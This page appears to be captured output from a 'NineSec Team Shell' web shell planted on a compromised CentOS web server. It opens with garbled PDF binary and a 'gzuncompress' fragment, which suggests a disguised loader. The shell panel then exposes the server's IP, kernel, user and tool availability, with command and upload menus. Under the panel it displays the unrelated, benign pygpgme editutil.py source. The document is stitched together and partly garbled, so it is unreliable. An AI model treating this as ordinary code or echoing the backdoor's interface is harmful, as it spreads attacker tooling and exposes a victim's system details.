%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.69.6.226
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0755) :  /lib64/python2.7/site-packages/gpgme/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //lib64/python2.7/site-packages/gpgme/editutil.py
# pygpgme - a Python wrapper for the gpgme library
# Copyright (C) 2006  James Henstridge
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

"""Utilities related to editing keys.

Currently only contains a utility function for editing the owner trust
value of a key in a keyring.
"""

__metaclass__ = type

__all__ = ['edit_sign', 'edit_trust']

import functools
import os
try:
    from io import BytesIO
except ImportError:
    from StringIO import StringIO as BytesIO
import gpgme


def key_editor(function):
    """A decorator that lets key editor callbacks be written as generators."""
    @functools.wraps(function)
    def wrapper(ctx, key, *args, **kwargs):
        # Start the generator and run it once.
        gen = function(ctx, key, *args, **kwargs)
        try:
            # XXX: this is for Python 2.x compatibility.
            try:
                gen.__next__()
            except AttributeError:
                gen.next()
        except StopIteration:
            return

        def edit_callback(status, args, fd):
            if status in (gpgme.STATUS_EOF,
                          gpgme.STATUS_GOT_IT,
                          gpgme.STATUS_NEED_PASSPHRASE,
                          gpgme.STATUS_GOOD_PASSPHRASE,
                          gpgme.STATUS_BAD_PASSPHRASE,
                          gpgme.STATUS_USERID_HINT,
                          gpgme.STATUS_SIGEXPIRED,
                          gpgme.STATUS_KEYEXPIRED,
                          gpgme.STATUS_PROGRESS,
                          gpgme.STATUS_KEY_CREATED,
                          gpgme.STATUS_ALREADY_SIGNED):
                return
            try:
                data = gen.send((status, args))
            except StopIteration:
                raise gpgme.error(gpgme.ERR_SOURCE_UNKNOWN, gpgme.ERR_GENERAL)

            if data is not None:
                os.write(fd, data.encode('ASCII'))

        output = BytesIO()
        try:
            ctx.edit(key, edit_callback, output)
        finally:
            gen.close()

    return wrapper


@key_editor
def edit_trust(ctx, key, trust):
    """Edit the trust level of the given key."""
    if trust not in (gpgme.VALIDITY_UNDEFINED,
                     gpgme.VALIDITY_NEVER,
                     gpgme.VALIDITY_MARGINAL,
                     gpgme.VALIDITY_FULL,
                     gpgme.VALIDITY_ULTIMATE):
        raise ValueError('Bad trust value %d' % trust)

    status, args = yield None

    assert args == 'keyedit.prompt'
    status, args = yield 'trust\n'

    assert args == 'edit_ownertrust.value'
    status, args = yield '%d\n' % trust

    if args == 'edit_ownertrust.set_ultimate.okay':
        status, args = yield 'Y\n'

    assert args == 'keyedit.prompt'
    status, args = yield 'quit\n'

    assert args == 'keyedit.save.okay'
    status, args = yield 'Y\n'


@key_editor
def edit_sign(ctx, key, index=0, local=False, norevoke=False,
              expire=True, check=0):
    """Sign the given key.

    index:    the index of the user ID to sign, starting at 1.  Sign all
               user IDs if set to 0.
    local:    make a local signature
    norevoke: make a non-revokable signature
    command:  the type of signature.  One of sign, lsign, tsign or nrsign.
    expire:   whether the signature should expire with the key.
    check:    Amount of checking performed.  One of:
                 0 - no answer
                 1 - no checking
                 2 - casual checking
                 3 - careful checking
    """
    if index < 0 or index > len(key.uids):
        raise ValueError('user ID index out of range')
    command = 'sign'
    if local:
        command = 'l%s' % command
    if norevoke:
        command = 'nr%s' % command
    if check not in [0, 1, 2, 3]:
        raise ValueError('check must be one of 0, 1, 2, 3')

    status, args = yield None

    assert args == 'keyedit.prompt'
    status, args = yield 'uid %d\n' % index

    assert args == 'keyedit.prompt'
    status, args = yield '%s\n' % command

    while args != 'keyedit.prompt':
        if args == 'keyedit.sign_all.okay':
            status, args = yield 'Y\n'
        elif args == 'sign_uid.expire':
            status, args = yield '%s\n' % ('Y' if expire else 'N')
        elif args == 'sign_uid.class':
            status, args = yield '%d\n' % check
        elif args == 'sign_uid.okay':
            status, args = yield 'Y\n'
        else:
            raise AssertionError("Unexpected state %r" % ((status, args),))

    status, args = yield 'quit\n'

    assert args == 'keyedit.save.okay'
    status, args = yield 'Y\n'

NineSec Team - 2022